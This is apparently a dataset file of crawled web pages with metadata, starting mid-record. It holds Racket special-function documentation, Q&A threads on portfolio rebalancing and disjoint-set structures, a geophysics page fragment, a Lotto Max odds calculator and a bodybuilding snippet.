real?) ((unchecked-psi (x real?)) real?))]{ Returns the digamma function, @math{Ψ(x)}, for general @racket[x], @math{x ≠ 0}.} @defproc*[(((psi-1piy (y real?)) real?) ((unchecked-psi-1piy (y real?)) real?))]{ Computes the real part of the digamma function on the line @math{1 + iy}, @math{Re Ψ(1 + iy)}.} @bold{Example:} Plot of @racket[(psi x)] on the interval (0, 5]. @racketmod[ racket (require (planet williams/science/special-functions/gamma) plot) (plot (line psi) #:x-min 0.001 #:x-max 5.0 #:y-min -5.0 #:y-max 5.0 #:title "Psi (Digamma) Function, Psi(x)")] The following figure shows the resulting plot: @image["scribblings/images/psi.png"] @subsection{Psi-1 (Trigamma) Functions} @(margin-note magnify @link["http://mathworld.wolfram.com/TrigammaFunction.html"]{Trigamma Function} " from Wolfram MathWorld.") @defproc*[(((psi-1-int (n (integer-in 1 +inf.0))) real?) ((unchecked-psi-1-int (n (integer-in 1 +inf.0))) real?))]{ Computes the trigamma function, @math{Ψ'(n)}, for positive integer @racket[n].} @defproc*[(((psi-1 (x real?)) real?) ((unchecked-psi-1 (x real?)) real?))]{ Computes the trigamma function, @math{Ψ'(x)}, for general @racket[x].} @bold{Example:} Plot of @racket[(psi-1 x)] on the interval (0, 5]. @racketmod[ racket (require (planet williams/science/special-functions/gamma) plot) (plot (line psi-1) #:x-min 0.001 #:x-max 5.0 #:y-min 0.0 #:y-max 5.0 #:title "Psi-1 (Trigamma) Function, Psi-1(x)")] The following figure shows the resulting plot: @image["scribblings/images/psi-1.png"] @subsection{Psi-n (Polygamma) Functions} @(margin-note magnify @link["http://mathworld.wolfram.com/PolygammaFunction.html"]{Polygamma Function} " from Wolfram MathWorld.") @defproc*[(((psi-n (n natural-number/c) (x (>/c 0.0))) real?) ((unchecked-psi-n (n natural-number/c) (x (>/c 0.0))) real?))]{ Computes the polygamma function, @math{Ψ^m(x)}, for @math{m ≥ 0}, @math{x > 0}.} @bold{Example:} Plot of @racket[(psi-n n x)] for @math{n = 3} on the interval (0, 5]. @racketmod[ racket (require (planet williams/science/special-functions/gamma) plot) (plot (line (lambda (x) (psi-n 3 x))) #:x-min 0.001 #:x-max 5.0 #:y-min 0.0 #:y-max 10.0 #:title "Psi-n (Polygamma) Function, Psi-n(3, x)")] The following figure shows the resulting plot: @image["scribblings/images/psi-n.png"] @section{Zeta Functions} The Riemann zeta function is defined in Abramowitz and Stegun @cite["Abramowitz64"], Section 23.3. The zeta functions are defined in the @filepath{gamma.rkt} file in the @racketfont{special-functions} subcollection of the science collection are are made available using the form: @;@defmodule[(planet williams/science/special-functions/gamma)] @racket[(require (planet williams/science/special-functions/gamma))] Note that the gamma functions (Section 5.3), psi functions (Section 5.4), and the zeta functions (Section 5.5) are defined in the same module, @filepath{gamma.rkt}. This is because their definitions are interdependent and Racket does not allow circular module dependencies. @subsection{Riemann Zeta Functions} @(margin-note magnify @link["http://mathworld.wolfram.com/RiemannZetaFunction.html"]{Riemann Zeta Function} " from Wolfram MathWorld.") The Riemann zeta function is defined by the infinite sum: @image["scribblings/images/zeta-equation.png"] @defproc*[(((zeta-int (n integer?)) real?) ((unchecked-zeta-int (n integer?)) real?))]{ Computes the Reimann zeta function, @math{ζ(n)}, for integer @racket[n], @math{n ≠ 1}.} @defproc*[(((zeta (s real?)) real?) ((unchecked-zeta (s real?)) real?))]{ Computes the Riemann zeta function, @math{ζ(s)}, for arbitrary @racket[s], @math{s ≠ 1}.} @bold{Example:} Plot of @racket[(zeta x)] on the interval [-5, 5]. @racketmod[ racket (require (planet williams/science/special-functions/gamma) plot) (plot (line zeta) #:x-min -5.0 #:x-max 5.0 #:y-min -5.0 #:y-max 5.0 #:title "Riemann Zeta Function, zeta(x)")] The following figure shows the resulting plot: @image["scribblings/images/zeta.png"] @subsection{Riemann Zeta Functions Minus One} For large positive arguments, the Riemann zeta function approached one. In this region the fractional part is interesting and, therefore, we need a function to evaluate it explicitly. @defproc*[(((zetam1-int (n integer?)) real?) ((unchecked-zetam1-int (n integer?)) real?))]{ Computes @math{ζ(n) - 1} for integer @racket[n], @math{n ≠ 1}.} @defproc*[(((zetam1 (s real?)) real?) ((unchecked-zetam1 (s real?)) real?))]{ Computes @math{ζ(s) - 1} for argitrary @racket[s], @math{s ≠ 1}.} @subsection{Hutwitz Zeta Function} @(margin-note magnify @link["http://mathworld.wolfram.com/HurwitzZetaFunction.html"]{Hurwitz Zeta Function} " from Wolfram MathWorld.") The Hurwitz zeta function is defined by: @image["scribblings/images/hzeta-equation.png"] @defproc*[(((hzeta (s (>/c 1.0)) (q (>/c 0.0))) real?) ((unchecked-hzeta (s (>/c 1.0)) (q (>/c 0.0))) real?))]{ Computes the Hurwitz zeta function, @math{ζ(s, q)}, for @math{s > 1}, @math{q > 0}.} @bold{Example:} Plot of @racket[(hzeta x 2.0)] on the interval (1, 5]. @racketmod[ racket (require (planet williams/science/special-functions/gamma) plot) (plot (line (lambda (x) (hzeta x 2.0))) #:x-min 1.001 #:x-max 5.0 #:y-min 0.0 #:y-max 5.0 #:title "Hutwitz Zeta Function, hzeta(x, 2.0)")] The following figure shows the resulting plot: @image["scribblings/images/hzeta.png"] @subsection{Eta Functions} @(margin-note magnify @link["http://mathworld.wolfram.com/DirichletEtaFunction.html"]{Dirichlet Eta Function} " from Wolfram MathWorld.") The eta function is defined by: @image["scribblings/images/eta-equation.png"] @defproc*[(((eta-int (n integer?)) real?) ((unchecked-eta-int (n integer?)) real?))]{ Computes the eta function, @math{η(n)}, for integer @racket[n].} @defproc*[(((eta (s real?)) real?) ((unchecked-eta (s real?)) real?))]{ Computes the eta function, @math{η(s)}, for arbitrary @racket[s].} @bold{Example:} Plot of @racket[(eta x)] on the interval [-10, 10]. @racketmod[ racket (require (planet williams/science/special-functions/gamma) plot) (plot (line eta) #:x-min -10.0 #:x-max 10.0 #:y-min -5.0 #:y-max 5.0 #:title "Eta Function, eta(x)")] The following figure shows the resulting plot: @image["scribblings/images/eta.png"] @section{Beta Functions} The beta functions are defined in the @filepath{beta.rkt} file in the @racketfont{special-functions} sub-collection of the Science Collection and are made available using the form: @defmodule[(planet williams/science/special-functions/beta)] @(margin-note magnify @link["http://mathworld.wolfram.com/BetaFunction.html"]{Beta Function} " from Wolfram MathWorld.") @defproc*[(((beta (a (>/c 0.0)) (b (>/c 0.0))) real?) ((unchecked-beta (a (>/c 0.0)) (b (>/c 0.0))) real?))]{ Computes the beta function, @image["scribblings/images/beta-equation.png"] for @math{a > 0} and @math{b > 0}.} @defproc*[(((lnbeta (a (>/c 0.0)) (b (>/c 0.0))) real?) ((unchecked-lnbeta (a (>/c 0.0)) (b (>/c 0.0))) real?))]{ Computes the logarithm of the beta function, @math{log Β(a, b)}, for @math{a > 0} and @math{b > 0}.} | 6,591 | 21,580 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.640625 | 3 | CC-MAIN-2015-18 | longest | en | 0.603193 |
https://money.stackexchange.com/questions/132434/rebalancing-for-dollars-buying-power-at-the-time-of-the-original-deposit/132538 | 1,618,228,489,000,000,000 | text/html | crawl-data/CC-MAIN-2021-17/segments/1618038067400.24/warc/CC-MAIN-20210412113508-20210412143508-00302.warc.gz | 482,296,691 | 38,847 | Rebalancing for dollar's buying power at the time of the original deposit
I want to create a portfolio that would be rebalanced according to the relative buying power of dollar at the time of the deposit, but I'm not sure how to do it. I'm not familiar with financial terminology, so please bear with me here ;)
In other words, if I deposit \$10000 on January 1st, the investment would be first diversified into a set of chosen assets (currencies, stocks, commodities, etc.) and then rebalanced once a week based on what that \$10000 was able to buy on January 1st.
What would be the easiest way (for a beginner) to do this sort of rebalancing where you are balancing based on relative worth in time? Are there existing formulas how to calculate allocations?
• I may not be understanding the goal (an example might be helpful). But from your description, wouldn't the portfolio always be balanced according to this criteria? If you want your \$10k portfolio to have, say, \$6k in stocks based on their 1/1 price and you buy \$6k in stocks on 1/1, your portfolio will always have \$6k in stocks based on their 1/1 price whether your stock position went up to \$10k or down to \$2k. – Justin Cave Nov 1 '20 at 9:11
• You propose to have 52 sets of trades per year for a portfolio valued at \$10,000? – JTP - Apologise to Monica Nov 1 '20 at 11:41
• I share Justin's confusion. To me, adjusting for "buying power" sounds like something to do with "taking inflation into effect" (the buying power of a dollar on Jan 1 2021 may not be the same as it was on Jan 1 2020). However, that will/should affect the current-dollar-value of each component of your portfolio in the same way. Given "currencies" as one component, it's certainly possible that changes in exchange rates may alter its "current dollar value", and you might want to rebalance because of that, but that sounds like "normal" rebalancing based on the current value of each component. – TripeHound Nov 1 '20 at 12:07
• The rebalancing frequency can be anything you want, doesn't matter for what I'm asking. – jimmy Nov 1 '20 at 13:27
• @TripeHound You got it right. After some thought it seems that the problem with my question is more about how to hedge dollar effectively against inflation, and how to measure dollar's inflation to calculate allocation for the rebalancing. – jimmy Nov 1 '20 at 13:35
I am not going to comment on how you will decide to rebalance. I am only going to talk about the frequency.
and then rebalanced once a week based on what that \$10000 was able to buy on January 1st.
There is common advice to rebalance your portfolio. This is done to keep the balance between the sectors. If an investor wants to be 40% large company stocks, 30% small company stock, 20% bonds and 10% real estate as an example, then periodically they will sell some winners, and invest the proceeds in the sectors that didn't perform as well. This brings them back to their target percentages.
It is not unusual to see advice for an annual re-balancing, or a semi-annual, or even quarterly. But 52 times a year is a little much. I hope for your sake there are no transaction costs. Of course you could also set a percent range so that you weren't trying to sell investments just because the investment was just over the percent you set. Having a range means you might be able to skip some weeks.
It is also tough to do with a small investment. You may find that you need to be able to buy or sell fractions of a share, or you won't be able to get the percentages close. Some brokers will let you trade fractions of a share of stock, or fractions of an ETF.
If you want to do this then unless your inflation rate is extremely large, annual re-balancing should be enough.
Balancing is where you shift your investments around to maintain a particular percentage in each. It's not related to inflation or anything else - the value of the \$ would be irrelevant.
Now, you could invest with the goal of hedging against inflation, and use inflation-linked securities as your "balance". Say, invest 70% Stocks / 20% Bonds / 10% TIPS (or more heavily in TIPS if you're really worried and don't mind the lack of growth). Then however often you decide to rebalance, and I echo mhoran's suggestion to do so not so frequently as weekly, you just keep those ratios the same. | 1,033 | 4,333 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.703125 | 3 | CC-MAIN-2021-17 | latest | en | 0.957273 |
http://sepwww.stanford.edu/data/media/public/docs/sep77/patrick3/paper_html/node7.html | 1,508,745,893,000,000,000 | text/html | crawl-data/CC-MAIN-2017-43/segments/1508187825812.89/warc/CC-MAIN-20171023073607-20171023093607-00732.warc.gz | 290,880,419 | 2,304 | Next: Solving the system Up: DERIVING THE SYSTEM OF Previous: The relationship between the
## Sets of equations and unknowns
Our system of equations is constituted by collecting relations (4), (6), (7), (8), and (13):
(14)
Because the and vectors are two-dimensional, the first, second, and sixth relations of system (14) give equations, yielding a set of nine equations.
The unknowns are , , ts, tg, t0, and . As described in the preamble, the vectors have only two unknown parameters, px and py (or p and ). Similarly, is a two-dimensional unknown vector. Therefore, system (14) relates nine unknowns with the known parameters , tsg, , , and the ray tracing tables , , and .
Next: Solving the system Up: DERIVING THE SYSTEM OF Previous: The relationship between the
Stanford Exploration Project
11/17/1997 | 197 | 812 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.875 | 3 | CC-MAIN-2017-43 | latest | en | 0.892303 |
https://cs.stackexchange.com/questions/86996/an-appropriate-data-structure-to-represent-a-family-of-sets-which-supports-exac | 1,713,204,408,000,000,000 | text/html | crawl-data/CC-MAIN-2024-18/segments/1712296817014.15/warc/CC-MAIN-20240415174104-20240415204104-00593.warc.gz | 175,114,438 | 40,008 | # an appropriate data-structure to represent a family of sets (Which supports exactly MAKE-SET(x), UNION(S1,S2), REPORT(S))
I need to represent a family F of sets with some appropriate datastructure. The datastructure needs to support the procedures MAKE-SET(x), DISJOINT-UNION(A,B) and REPORT(A). I dont have a problem with implementing the procedures themselves. Its pretty straightforward if you follow the idea introduced in the chapter on disjoint-set data-structures in Introductions to Algorithms (CLRS for short). My problem is, in this book there is an added procedure Find(x), that, given any member of F, finds the set it belongs to by returning a representative of its set. But i am not meant to implement this procedure. So how exactly am i supposed to represent the family F? I figure we need some way of representing this collection seeing as otherwise what we have is just loose and unassociated sets. What do i do?
if it serves any interest here is the original problem statement:
We are interested in maintaining a family of sets of integers F = S1, …, Sk under the following operations:
• MAKE-SET(x ): add the set {x} til F
• REPORT(Si ): report (ex. print) all elements in Si.
• UNION(Si , Sj ): add the set Si ∪ Sj to F . delete Si og Sj from F.
• DISJOINT-UNION(S1, S2): Like UNION except it is assumed Si and Sj are disjoint, meaning., Si and Sj do no share any elements. If Si and Sj are not disjoint the result of the operation is not defined.
4.1. Come up with a datastructure, which supports MAKE-SET and DISJOINT-UNION in O(1) time and REPORT(Si ) in Θ(|Si|) time. Hint: use an appropriate list datastructure | 400 | 1,645 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.78125 | 3 | CC-MAIN-2024-18 | longest | en | 0.909377 |
https://www.lottonumbers.com/lotto-odds-calculator?lottery=lotto-max | 1,701,693,616,000,000,000 | text/html | crawl-data/CC-MAIN-2023-50/segments/1700679100529.8/warc/CC-MAIN-20231204115419-20231204145419-00359.warc.gz | 981,346,297 | 8,683 | # Lotto Odds Calculator
The calculator shows the odds of winning for each individual line of Lotto Max numbers. The minimum play is three lines for CAD\$5, so the chances of winning are three times better if you buy a CAD\$5 ticket. The Lotto Max page displays the odds for a CAD\$5 ticket.
To use the calculator, type in the number matrix, select the number of prize tiers and tick whether the lottery includes a bonus ball. If the lottery includes a bonus number, additional options will appear specifying the bonus variables. Alternatively, select a lottery from the Popular Lotteries dropdown menu to automatically display the odds table.
Lotto Odds Calculator
Balls to be drawn:
Total number of prize levels:
From a pool of:
Tick to include bonus balls:
Bonus balls to be drawn:
Prize levels that involve matching a bonus ball:
Bonus ball name:
Numbers Matched
Calculated Odds
Show/Hide Calculations
7 Main Numbers
1 in 99,884,400
The odds for this prize level are not influenced by any "Bonus Balls" and only the variables associated with the main ball pool are required to calculate the correct odds. The following formula is therefore used (Please note: calculations have been rounded):
C(n,r)
C(r,m) × C(n-r, r-m)
C(n,r) = Odds of correctly choosing r balls from n
n = Number of balls in the main pool
r = Balls drawn from the main pool
m = Balls to be matched from the main pool
C(50,7)
C(7,7) × C(50-7, 7-7)
Substitute: n for 50 (number of balls in the main pool)
r for 7 (balls drawn from the main pool)
m for 7 (balls to be matched from the main pool)
50!
7! × (50-7)!
7!
7! × (7-7)!
×
43!
0! × (43-0)!
Expand: C(50,7) = 50! ÷ (7! × (50-7)!)
C(7,7) = 7! ÷ (7! × (7-7)!)
C(50-7, 7-7) = 43! ÷ (0! × (43-0)!)
! means 'Factorial' eg: 50! = 50 × 49 × 48 ... × 1
Note: 0! = 1
99,884,400
1 × 1
Simplify: 50! ÷ (7! × (50-7)!) = 99,884,400
7! ÷ (7! × (7-7)!) = 1
43! ÷ (0! × (43-0)!) = 1
99,884,400
1
=
99,884,400
Calculate: 99,884,400 ÷ (1 × 1) = 99,884,400
6 Main Numbers + Bonus Ball
1 in 14,269,200
The odds for this prize level are directly influenced by the Bonus Ball. Since the Bonus Ball is drawn from the same pool as the main numbers, the following formula is used (Please note: calculations have been rounded):
C(n,r)
r - m
n - r
×
C(r,m) × C(n-r, r-m)
C(n,r) = Odds of correctly choosing r balls from n
n = Number of balls in the main pool
r = Balls drawn from the main pool
m = Balls to be matched from the main pool
C(50,7)
7 - 6
50 - 7
×
C(7,6) × C(50-7, 7-6)
Substitute: n for 50 (number of balls in the main pool)
r for 7 (balls drawn from the main pool)
m for 6 (balls to be matched from the main pool)
50!
7! × (50 - 7)!
7 - 6
50 - 7
×
7!
6! × (7 - 6)!
×
43!
1! × (43 - 1)!
Expand: C(50,7) = 50! ÷ (7! × (50-7)!)
C(7,6) = 7! ÷ (6! × (7-6)!)
C(50-7, 7-6) = 43! ÷ (1! × (43-1)!)
! means 'Factorial' eg: 50! = 50 × 49 × 48 ... × 1
Note: 0! = 1
99,884,400
0.0233 × 7 × 43
Simplify: 50! ÷ (7! × (50-7)!) = 99,884,400
(7-6) ÷ (50-7) = 0.0233
7! ÷ (6! × (7-6)!) = 7
43! ÷ (1! × (43-1)!) = 43
99,884,400
7
=
14,269,200
Calculate: 99,884,400 ÷ (0.0233 × 7 × 43) = 14,269,200
6 Main Numbers
1 in 339,743
The odds for this prize level are indirectly influenced by the Bonus Ball. Even though this prize level only involves matching 6 main numbers, the fact that you can also match 6 main numbers and a Bonus Ball means the odds of matching 6 main numbers alone are increased. Since the Bonus Ball is also drawn from the same pool as the main numbers, the following formula is used (Please note: calculations have been rounded):
C(n,r)
n - r - r + m
n - r
×
C(r,m) × C(n-r, r-m)
C(n,r) = Odds of correctly choosing r balls from n
n = Number of balls in the main pool
r = Balls drawn from the main pool
m = Balls to be matched from the main pool
C(50,7)
50 - 7 - 7 + 6
50 - 7
×
C(7,6) × C(50-7, 7-6)
Substitute: n for 50 (number of balls in the main pool)
r for 7 (balls drawn from the main pool)
m for 6 (balls to be matched from the main pool)
50!
7! × (50 - 7)!
50 - 7 - 7 + 6
50 - 7
×
7!
6! × (7 - 6)!
×
43!
1! × (43 - 1)!
Expand: C(50,7) = 50! ÷ (7! × (50-7)!)
C(7,6) = 7! ÷ (6! × (7-6)!)
C(50-7, 7-6) = 43! ÷ (1! × (43-1)!)
! means 'Factorial' eg: 50! = 50 × 49 × 48 ... × 1
Note: 0! = 1
99,884,400
0.9767 × 7 × 43
Simplify: 50! ÷ (7! × (50-7)!) = 99,884,400
(50-7-7+6) ÷ (50-7) = 0.9767
7! ÷ (6! × (7-6)!) = 7
43! ÷ (1! × (43-1)!) = 43
99,884,400
294
=
339,743
Calculate: 99,884,400 ÷ (0.9767 × 7 × 43) = 339,743
5 Main Numbers + Bonus Ball
1 in 113,248
The odds for this prize level are directly influenced by the Bonus Ball. Since the Bonus Ball is drawn from the same pool as the main numbers, the following formula is used (Please note: calculations have been rounded):
C(n,r)
r - m
n - r
×
C(r,m) × C(n-r, r-m)
C(n,r) = Odds of correctly choosing r balls from n
n = Number of balls in the main pool
r = Balls drawn from the main pool
m = Balls to be matched from the main pool
C(50,7)
7 - 5
50 - 7
×
C(7,5) × C(50-7, 7-5)
Substitute: n for 50 (number of balls in the main pool)
r for 7 (balls drawn from the main pool)
m for 5 (balls to be matched from the main pool)
50!
7! × (50 - 7)!
7 - 5
50 - 7
×
7!
5! × (7 - 5)!
×
43!
2! × (43 - 2)!
Expand: C(50,7) = 50! ÷ (7! × (50-7)!)
C(7,5) = 7! ÷ (5! × (7-5)!)
C(50-7, 7-5) = 43! ÷ (2! × (43-2)!)
! means 'Factorial' eg: 50! = 50 × 49 × 48 ... × 1
Note: 0! = 1
99,884,400
0.0465 × 21 × 903
Simplify: 50! ÷ (7! × (50-7)!) = 99,884,400
(7-5) ÷ (50-7) = 0.0465
7! ÷ (5! × (7-5)!) = 21
43! ÷ (2! × (43-2)!) = 903
99,884,400
882
=
113,248
Calculate: 99,884,400 ÷ (0.0465 × 21 × 903) = 113,248
5 Main Numbers
1 in 5,524
The odds for this prize level are indirectly influenced by the Bonus Ball. Even though this prize level only involves matching 5 main numbers, the fact that you can also match 5 main numbers and a Bonus Ball means the odds of matching 5 main numbers alone are increased. Since the Bonus Ball is also drawn from the same pool as the main numbers, the following formula is used (Please note: calculations have been rounded):
C(n,r)
n - r - r + m
n - r
×
C(r,m) × C(n-r, r-m)
C(n,r) = Odds of correctly choosing r balls from n
n = Number of balls in the main pool
r = Balls drawn from the main pool
m = Balls to be matched from the main pool
C(50,7)
50 - 7 - 7 + 5
50 - 7
×
C(7,5) × C(50-7, 7-5)
Substitute: n for 50 (number of balls in the main pool)
r for 7 (balls drawn from the main pool)
m for 5 (balls to be matched from the main pool)
50!
7! × (50 - 7)!
50 - 7 - 7 + 5
50 - 7
×
7!
5! × (7 - 5)!
×
43!
2! × (43 - 2)!
Expand: C(50,7) = 50! ÷ (7! × (50-7)!)
C(7,5) = 7! ÷ (5! × (7-5)!)
C(50-7, 7-5) = 43! ÷ (2! × (43-2)!)
! means 'Factorial' eg: 50! = 50 × 49 × 48 ... × 1
Note: 0! = 1
99,884,400
0.9535 × 21 × 903
Simplify: 50! ÷ (7! × (50-7)!) = 99,884,400
(50-7-7+5) ÷ (50-7) = 0.9535
7! ÷ (5! × (7-5)!) = 21
43! ÷ (2! × (43-2)!) = 903
99,884,400
18,081
=
5,524
Calculate: 99,884,400 ÷ (0.9535 × 21 × 903) = 5,524
4 Main Numbers + Bonus Ball
1 in 3,315
The odds for this prize level are directly influenced by the Bonus Ball. Since the Bonus Ball is drawn from the same pool as the main numbers, the following formula is used (Please note: calculations have been rounded):
C(n,r)
r - m
n - r
×
C(r,m) × C(n-r, r-m)
C(n,r) = Odds of correctly choosing r balls from n
n = Number of balls in the main pool
r = Balls drawn from the main pool
m = Balls to be matched from the main pool
C(50,7)
7 - 4
50 - 7
×
C(7,4) × C(50-7, 7-4)
Substitute: n for 50 (number of balls in the main pool)
r for 7 (balls drawn from the main pool)
m for 4 (balls to be matched from the main pool)
50!
7! × (50 - 7)!
7 - 4
50 - 7
×
7!
4! × (7 - 4)!
×
43!
3! × (43 - 3)!
Expand: C(50,7) = 50! ÷ (7! × (50-7)!)
C(7,4) = 7! ÷ (4! × (7-4)!)
C(50-7, 7-4) = 43! ÷ (3! × (43-3)!)
! means 'Factorial' eg: 50! = 50 × 49 × 48 ... × 1
Note: 0! = 1
99,884,400
0.0698 × 35 × 12,341
Simplify: 50! ÷ (7! × (50-7)!) = 99,884,400
(7-4) ÷ (50-7) = 0.0698
7! ÷ (4! × (7-4)!) = 35
43! ÷ (3! × (43-3)!) = 12,341
99,884,400
30,135
=
3,315
Calculate: 99,884,400 ÷ (0.0698 × 35 × 12341) = 3,315
4 Main Numbers
1 in 249
The odds for this prize level are indirectly influenced by the Bonus Ball. Even though this prize level only involves matching 4 main numbers, the fact that you can also match 4 main numbers and a Bonus Ball means the odds of matching 4 main numbers alone are increased. Since the Bonus Ball is also drawn from the same pool as the main numbers, the following formula is used (Please note: calculations have been rounded):
C(n,r)
n - r - r + m
n - r
×
C(r,m) × C(n-r, r-m)
C(n,r) = Odds of correctly choosing r balls from n
n = Number of balls in the main pool
r = Balls drawn from the main pool
m = Balls to be matched from the main pool
C(50,7)
50 - 7 - 7 + 4
50 - 7
×
C(7,4) × C(50-7, 7-4)
Substitute: n for 50 (number of balls in the main pool)
r for 7 (balls drawn from the main pool)
m for 4 (balls to be matched from the main pool)
50!
7! × (50 - 7)!
50 - 7 - 7 + 4
50 - 7
×
7!
4! × (7 - 4)!
×
43!
3! × (43 - 3)!
Expand: C(50,7) = 50! ÷ (7! × (50-7)!)
C(7,4) = 7! ÷ (4! × (7-4)!)
C(50-7, 7-4) = 43! ÷ (3! × (43-3)!)
! means 'Factorial' eg: 50! = 50 × 49 × 48 ... × 1
Note: 0! = 1
99,884,400
0.9302 × 35 × 12,341
Simplify: 50! ÷ (7! × (50-7)!) = 99,884,400
(50-7-7+4) ÷ (50-7) = 0.9302
7! ÷ (4! × (7-4)!) = 35
43! ÷ (3! × (43-3)!) = 12,341
99,884,400
401,800
=
249
Calculate: 99,884,400 ÷ (0.9302 × 35 × 12,341) = 249
3 Main Numbers + Bonus Ball
1 in 249
The odds for this prize level are directly influenced by the Bonus Ball. Since the Bonus Ball is drawn from the same pool as the main numbers, the following formula is used (Please note: calculations have been rounded):
C(n,r)
r - m
n - r
×
C(r,m) × C(n-r, r-m)
C(n,r) = Odds of correctly choosing r balls from n
n = Number of balls in the main pool
r = Balls drawn from the main pool
m = Balls to be matched from the main pool
C(50,7)
7 - 3
50 - 7
×
C(7,3) × C(50-7, 7-3)
Substitute: n for 50 (number of balls in the main pool)
r for 7 (balls drawn from the main pool)
m for 3 (balls to be matched from the main pool)
50!
7! × (50 - 7)!
7 - 3
50 - 7
×
7!
3! × (7 - 3)!
×
43!
4! × (43 - 4)!
Expand: C(50,7) = 50! ÷ (7! × (50-7)!)
C(7,3) = 7! ÷ (3! × (7-3)!)
C(50-7, 7-3) = 43! ÷ (4! × (43-4)!)
! means 'Factorial' eg: 50! = 50 × 49 × 48 ... × 1
Note: 0! = 1
99,884,400
0.0930 × 35 × 123,410
Simplify: 50! ÷ (7! × (50-7)!) = 99,884,400
(7-3) ÷ (50-7) = 0.0930
7! ÷ (3! × (7-3)!) = 35
43! ÷ (4! × (43-4)!) = 123,410
99,884,400
401,800
=
249
Calculate: 99,884,400 ÷ (0.0930 × 35 × 123410) = 249
3 Main Numbers
1 in 25
The odds for this prize level are indirectly influenced by the Bonus Ball. Even though this prize level only involves matching 3 main numbers, the fact that you can also match 3 main numbers and a Bonus Ball means the odds of matching 3 main numbers alone are increased. Since the Bonus Ball is also drawn from the same pool as the main numbers, the following formula is used (Please note: calculations have been rounded):
C(n,r)
n - r - r + m
n - r
×
C(r,m) × C(n-r, r-m)
C(n,r) = Odds of correctly choosing r balls from n
n = Number of balls in the main pool
r = Balls drawn from the main pool
m = Balls to be matched from the main pool
C(50,7)
50 - 7 - 7 + 3
50 - 7
×
C(7,3) × C(50-7, 7-3)
Substitute: n for 50 (number of balls in the main pool)
r for 7 (balls drawn from the main pool)
m for 3 (balls to be matched from the main pool)
50!
7! × (50 - 7)!
50 - 7 - 7 + 3
50 - 7
×
7!
3! × (7 - 3)!
×
43!
4! × (43 - 4)!
Expand: C(50,7) = 50! ÷ (7! × (50-7)!)
C(7,3) = 7! ÷ (3! × (7-3)!)
C(50-7, 7-3) = 43! ÷ (4! × (43-4)!)
! means 'Factorial' eg: 50! = 50 × 49 × 48 ... × 1
Note: 0! = 1
99,884,400
0.9070 × 35 × 123,410
Simplify: 50! ÷ (7! × (50-7)!) = 99,884,400
(50-7-7+3) ÷ (50-7) = 0.9070
7! ÷ (3! × (7-3)!) = 35
43! ÷ (4! × (43-4)!) = 123,410
99,884,400
3,917,550
=
25
Calculate: 99,884,400 ÷ (0.9070 × 35 × 123,410) = 25
Approx. Overall Odds*: 1 in 21
Odds for popular lotteries:
### How to use the Lotto Odds Calculator
Enter the number of balls to be drawn Enter the total number of balls from which these are drawn Choose the total number of prize levels the lottery has, eg: Match 6, Match 5, Match 4 and Match 3 would be 4 levels If the lottery includes 'bonus' numbers eg: a Powerball, tick the "include bonus balls" box If the box has been ticked, a dropdown menu will appear in a similar style to the original fields. Enter the number of 'bonus' numbers to be drawn, the size of the pool it/they are drawn from, and the amount of prize levels that involve matching the bonus number. Finally, select the name of the bonus number from the remaining dropdown box Click the "Calculate Odds" button to view the odds, or to start again, click Reset.
Alternatively you can choose a lottery from the "Popular Lotteries" dropdown menu at the bottom of the form to quickly input the variables for your chosen lottery and auto-display the odds table.
*Please note, the overall odds of winning a prize does not take into account the chance of winning guaranteed prizes (for lotteries that offer them), because the odds of winning a raffle prize fluctuates based on how many tickets were purchased for each draw. | 5,166 | 13,181 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.65625 | 4 | CC-MAIN-2023-50 | latest | en | 0.853828 |
https://www.bodybuilding.com/fun/shannon7.htm | 1,508,561,064,000,000,000 | text/html | crawl-data/CC-MAIN-2017-43/segments/1508187824570.79/warc/CC-MAIN-20171021043111-20171021063111-00302.warc.gz | 907,622,159 | 18,701 | Need Help? Customer Support 1-866-236-8417
# Mean Poundage Index
It didn't give much useful information other than that the total poundage lifted per workout could be calculated and compared to that of the previous one.
